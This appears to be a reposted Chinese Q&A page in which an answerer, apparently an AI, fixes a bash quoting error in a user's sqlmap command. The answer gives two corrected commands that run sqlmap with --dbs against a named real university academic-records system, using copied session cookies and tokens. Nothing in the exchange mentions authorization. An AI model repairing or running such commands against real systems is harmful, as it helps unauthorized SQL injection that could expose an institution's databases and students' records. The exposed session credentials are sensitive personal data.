我的sqlmap命令报错bash !getDetailactioncjdm=25315560 event not found我的命令是python sqlmappy -u httpsjwglwebvpnnepueducnxskccjxx!getDetailactioncjdm=25315560 --cookie _webvpn_key=eyJhbGciOiJIUzI1NiJ9eyJ1c2VyIjo
这个错误是由于命令中的URL包含了一个感叹号(!)字符,导致bash解释器将其视为一个历史命令,并尝试查找与之匹配的事件。为了解决这个问题,可以用单引号将URL括起来,或者使用反斜杠()转义感叹号字符,如下所示:
- 使用单引号括起来
python sqlmap.py -u 'https://jwgl.webvpn.nepu.edu.cn/xskccjxx!getDetail.action?cjdm=25315560' --cookie '_webvpn_key=eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiMjAwNTAyMTQwMjI0IiwiZ3JvdXBzIjpbMTIxLDFdLCJpYXQiOjE2ODUwNTk4MDAsImV4cCI6MTY4NTE0NjIwMH0.aHEtyQoxU87vnAshS0VcRhJzJF3Bn2pXjYippd6vUJk; webvpn_username=200502140224%7C1685059800%7Cd09e2422056df31f52b5c8ffa1a2efd831b9e128; JSESSIONID=5B81A1E981993C3A1CB88FC1964E29DD' --dbs
- 使用反斜杠转义感叹号字符
python sqlmap.py -u "https://jwgl.webvpn.nepu.edu.cn/xskccjxx\!getDetail.action?cjdm=25315560" --cookie "_webvpn_key=eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiMjAwNTAyMTQwMjI0IiwiZ3JvdXBzIjpbMTIxLDFdLCJpYXQiOjE2ODUwNTk4MDAsImV4cCI6MTY4NTE0NjIwMH0.aHEtyQoxU87vnAshS0VcRhJzJF3Bn2pXjYippd6vUJk; webvpn_username=200502140224%7C1685059800%7Cd09e2422056df31f52b5c8ffa1a2efd831b9e128; JSESSIONID=5B81A1E981993C3A1CB88FC1964E29DD" --dbs
``
原文地址: http://www.cveoy.top/t/topic/ftmO 著作权归作者所有。请勿转载和采集!